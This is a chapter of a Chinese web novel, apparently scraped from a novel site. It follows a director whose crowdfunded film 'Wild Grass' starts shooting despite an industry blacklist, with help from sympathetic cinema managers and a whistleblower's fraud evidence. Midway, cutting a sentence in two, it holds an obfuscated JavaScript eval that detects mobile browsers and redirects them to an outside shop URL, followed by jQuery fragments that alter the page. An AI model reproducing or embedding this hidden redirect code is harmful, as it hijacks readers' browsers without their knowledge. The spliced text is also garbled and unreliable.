八小时众筹破亿的奇迹，像一颗投入死水潭的巨石。
舆论彻底反转。
#我们不需要八大公司#
在热搜榜首挂了整整两天。
官媒罕见地发表评论文章：
《“野草”破土：当观众成为创作者》。
文章里写道：“《野草》的众筹，不仅是一场融资，更是一次文化民意的公投。它宣告：创作的权利，正在从资本的手里，回归到人心的土壤。”
八大公司的□□，在三十一万人的“信任投票”面前，变成了一个尴尬而脆弱的纸枷锁。
但真正的战役，才刚刚开始。
众筹资金到账的第三天，沈小鱼召开了《野草》第一次全体剧组会议。
六十多人挤在废弃水泥厂临时清理出来的“会议室”——
其实就是个没顶的仓库，用塑料布遮着漏雨处，几盏工地用的碘钨灯晃晃悠悠地悬着。
沈小鱼站在一个废弃的水泥搅拌机顶上，手里拿着扩音器。
“钱到了，三千万。”
她的声音在空旷的厂房里回荡，“但我要告诉各位——这可能是我们未来很长一段时间里，最后一笔、也是唯一一笔‘宽裕’的资金。”
底下安静下来。
“因为八大公司的封杀，不只是针对投资。”
沈小鱼继续说，“他们动用所有资源，切断了我们几乎所有的生产链条——器材租赁公司不敢租设备给我们，后期制作公司不敢接我们的单，连群演经纪都收到警告：谁敢接《野草》的活，就别想再在这个圈子混。”
有人倒吸冷气。
“所以，”
沈小鱼提高音量，“从今天起，我们不仅是剧组，更是一支‘生产自救队’。没有设备，我们就用最基础的；没有后期团队，我们就自己学；没有群演，我们剧组所有人自己上——导演可以演路人甲，编剧可以演尸体，摄影师可以演棵树！”
底下响起零星的笑声，但很快被更沉重的现实感取代。
“拍摄周期，六十天。这六十天里，我们没有休息日，没有八小时工作制，只有‘戏拍完’和‘戏没拍完’两种状态。”
沈小鱼的目光扫过每一张脸，“如果有人现在想退出，我不怪你。出门右转，财务会给你结算这三天的劳务费，并附上一封感谢信，和一张可以埋进废墟的空白卡片——你可以写上任何你想纪念的名字。”
没有人动。
等了十秒，沈小鱼点头：“好。那接下来，我说一下我们的‘作战计划’。”
她跳下搅拌机，走到一块用废木板临时钉成的“作战地图”前。
地图上标着拍摄的四大难关：
场景、器材、人员、后期。
“场景，就是这里。”
她指着脚下，“这个废弃水泥厂，是我们未来六十天的家。美术组要在十五天内，把它改造成剧本里的‘末世村落’。预算十二万，但实际可能只有八万能用——因为很多材料得靠我们自己从垃圾场里淘。”
美术指导老陈站起来，是个五十多岁的老江湖，脸上有道疤：
“沈导放心，我干这行三十年，最擅长的就是‘无中生有’。八万？给我五万，我能给你变出个世界。”
“器材。”
沈小鱼看向李强，“我们租不到最新的设备，只能从二手市场淘五年前的老款。而且只有两台摄影机，没有备用。”
李强咧嘴：“两台够了。当年我师父拍《黄土谣》，一台机器拍完全片，拿了大奖。”
“人员。”
沈小鱼看向在场的六十多人，“我们只有核心团队是专业的，其他都是志愿者——有星火计划的学员，有从全国各地赶来的影迷，有退休的老电影人。他们热情有余，经验不足。”
场记小雨举手，是个扎着马尾的姑娘，眼睛很亮：
“沈导，我可以负责培训志愿者。我是北电管理系毕业的，学过剧组流程管理。”
“后期。”
沈小鱼最后看向陆青然，“我们没有钱请顶尖的剪辑、配乐、调色团队。所有这些，都得靠我们自己摸索。”
陆青然站起来，深吸一口气：
“剪辑我可以学。配乐……我认识几个独立音乐人，他们愿意以极低的价格帮忙。调色……可能需要更多时间，但我保证，不会让电影死在后期。”
沈小鱼看着他们，很久，说：“谢谢。”
就两个字。
但重如千钧。
会议结束后，剧组立刻进入高速运转状态。
美术组带着志愿者开始“垃圾淘宝”，从废品站拖回生锈的铁皮、破渔网、废弃的塑料玩具；
李强带着技术组调试那两台老旧的摄影机，电路板烧了两次，他自己拿着电烙铁修；
许昕开始闭关，每天在水泥厂的各个角落游荡，寻找“末世幸存者”的状态；
沈小鱼和陆青然则窝在临时搭建的“编剧帐篷”里，一帧一帧地打磨分镜。
第三天下午，一个意外访客打破了忙碌。
来人是京城最大连锁影院“星光影城”的运营总监，姓赵，四十多岁，微胖，穿着皱巴巴的西装，开着一辆半旧的国产车，直接找到了水泥厂。
沈小鱼在“指挥部”——
一个用集装箱改装的办公室里见到他时，有些意外。
“赵总，您怎么找到这的？”
“问了好多人，都说你们在这‘搞废墟艺术’。”
赵总苦笑，从公文包里拿出一份文件，“沈导，长话短说。我是代表‘星光影城’全国十七家门店的经理们，来跟您谈合作的。”
沈小鱼接过文件，是一份《关于电影〈野草〉排片合作的意向书》。
内容很简单：
星光影城愿意在电影上映后，拿出每家门店百分之五的排片给《野草》，持续两周。
排片时段不限于非黄金时段——
他们愿意给出晚上七点到九点的场次。
条件优厚得不可思议。
因为“星光影城”是八大公司之一“星光传媒”的关联产业。
按照□□，他们不该有任何合作。
“赵总，这……”沈小鱼迟疑。
“我知道您在担心什么。”
赵总搓了搓手，眼神里有一种疲惫而坚定的光，“实话跟您说，这份意向书，是我们十七个门店经理联名起草的，没有经过总公司批准。我们甚至不敢用公司邮箱，只能我亲自跑一趟。”
他顿了顿：
“我在这个行业干了二十年，从放映员做到总监。我见过中国电影最好的时候，也见过最坏的时候。但像现在这样——一部电影还没拍完，就被整个行业联合绞杀——我从来没见过。”
“沈导，您知道我们这些一线影院经理，每天最痛苦的是什么吗？”
他看着沈小鱼，“是明明知道那些流量大片的票房是刷的、口碑是买的，但我们还得把最好的厅、最好的时段留给它们。是看着观众走进影院，两个小时后骂骂咧咧地出来，说‘又浪费了五十块钱’。是看着那些真正的好电影，因为没排片，默默死在仓库里。”
他的声音有些哽咽：
“我女儿今年十六岁，她上次问我：‘爸，为什么电影院放的都是烂片？’我不知道怎么回答。”
“但看了您的直播，看了那八小时三十一万人的众筹，我好像知道答案了。”
他站起来，深深鞠躬，“沈导，我们帮不了您太多。百分之五的排片，可能是我们能做到的极限。但这是我们十七个老放映人，对好电影最后的一点敬意，也是……对我们自己良心的一个交代。”
沈小鱼的眼睛红了。
她扶起赵总：“赵总，谢谢。但您这样做，可能会丢工作。”
“丢了就丢了。”
赵总笑了，那笑容里有种豁出去的洒脱，“我老婆开了个小超市，饿不死。我就是想，等我老了，我女儿问我：‘爸，你干了一辈子电影，干过最牛逼的事是什么？’我能告诉她：‘你爸当年，顶着全行业的封杀，给一部叫《野草》的电影排了片。虽然只有百分之五，虽然可能就放一场，但那一场，坐满了人。’”
沈小鱼握紧那份意向书，纸张在她的指尖微微颤抖。
“赵总，这份意向书，我收下了。”
她说，“但我暂时不能签。”
赵总愣住：“为什么？”
“因为我不想连累你们。”
沈小鱼说，“等电影拍完，等我们真的能上映，如果那时候你们还愿意——我们再签。而且，我要加一个条件。”
“什么条件？”
“如果你们因为这件事丢了工作，《野草》项目的下一个影院管理公司，优先录用你们。”
沈小鱼看着他，“新规则要建的，不仅是一个创作联盟，也是一个能让好人好好活着的行业。”
赵总的眼眶瞬间湿了。他用力点头，说不出话。
送走赵总，沈小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027485|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼回到指挥部。
陆青然和许昕都在，显然听到了刚才的对话。
“沈老师，”
许昕小声说，“那些院线经理……他们真好。”
“不是他们好。”
沈小鱼看着窗外，美术组正在用废铁皮搭建第一间“末世小屋”，
“是这个行业，还有人心。就像那三十一万个捐款的人，就像你爸我妈那样的普通人——他们可能被生活压弯了腰，但心里那点对‘好东西’的念想，从来没死透。”
她打开电脑，登录联盟官网，更新了《野草》项目的状态：
“今日收获：十七颗星火。”
“来自十七家影院的经理，愿意为我们保留百分之五的光。”
“这光很微弱，但足够让我们看见——路，还在。人心，还没死。”
帖子发出后不久，沈小鱼的私人邮箱收到一封加密邮件。
发件人ID是一串乱码，标题只有一个字：
“信。”
她点开，里面没有正文，只有一个附件：一份详细的Excel表格。
表格里，是八大公司过去三年偷税漏税、票房造假、阴阳合同的详细数据和证据链。
每一笔都标注了时间、金额、经手人、银行流水截图。
数据之详实，证据之确凿，足以让这八家公司面临天文数字的罚款，甚至刑事责任。
邮件的最后，有一行小字：
“这些‘坟头’里埋的脏东西，该见见光了。
发件人：旧秩序的守墓人，也是一个父亲曾经的下属。”
最后这个落款，让沈小鱼的心猛地一紧。
她盯着那行字，很久。
然后她打开手机，翻出父亲沈建国的号码——
那个她很少拨打、但永远存着的号码。
犹豫了几秒，她拨了过去。
响了六声，父亲接了，声音沙哑：“……小鱼？”
“爸。”沈小鱼轻声说，“您认不认识……一个叫‘旧秩序的守墓人’的人？”
电话那头沉默了。
长久的沉默。
然后，父亲的声音传来，带着一种沈小鱼从未听过的、复杂的疲惫：
“……他姓周。以前是我厂里的会计。厂子破产清算的时候，他帮我藏了一本账……后来，他去了一家审计公司，再后来……听说去了星光传媒。”
父亲顿了顿：
“他给你发东西了？”
“……嗯。”
“收着吧。”
父亲的声音很轻，像在说一件很久远的事，“他是个聪明人，也是个……心里有疙瘩的人。厂子倒闭后，他老婆跟他离了，孩子也没留住。他总觉得……当初要是早点把账本公开，也许厂子不会死得那么难看。”
又是一阵沉默。
“小鱼，”父亲终于说，“你做的……是对的。有些东西，捂烂了，只会更臭。晒出来，虽然疼，但……能活。”
说完，他挂了电话。
沈小鱼握着手机，站在集装箱办公室里，看着窗外水泥厂里忙碌的人群。
夕阳西下，金色的余晖给废墟镀上一层悲壮的光。
这场战争，从来不是她一个人的战争。
是无数个像父亲那样的失败者，像周会计那样的“守墓人”，像赵总那样的“反抗者”，像那三十一万个捐款人那样的“普通人”，用他们破碎的人生、沉默的坚守、卑微的信仰，共同点燃的战争。
而她，只是恰好，
站在了光能照到的地方。
沈小鱼拿起对讲机，按下通话键：
“各部门注意。”
“明天，日出时分。”
“《野草》，正式开机。”
对讲机里传来嘈杂而坚定的回应：
“美术组收到！”
“摄影组收到！”
“演员组收到！”
……
声音汇聚在一起，像荒原上，风过草梢的声响。
微弱，却连绵不绝。
沈小鱼放下对讲机，闭上眼睛。
她仿佛已经看见——
那株野草，正在无数双眼睛的注视下，在无数双手的托举下，在无数个破碎人生的废墟上，
悄然抬头。
而它的根须，已经穿透了厚厚的冻土，
触到了，
春天的脉搏。
和无数个，
不肯死去的灵魂。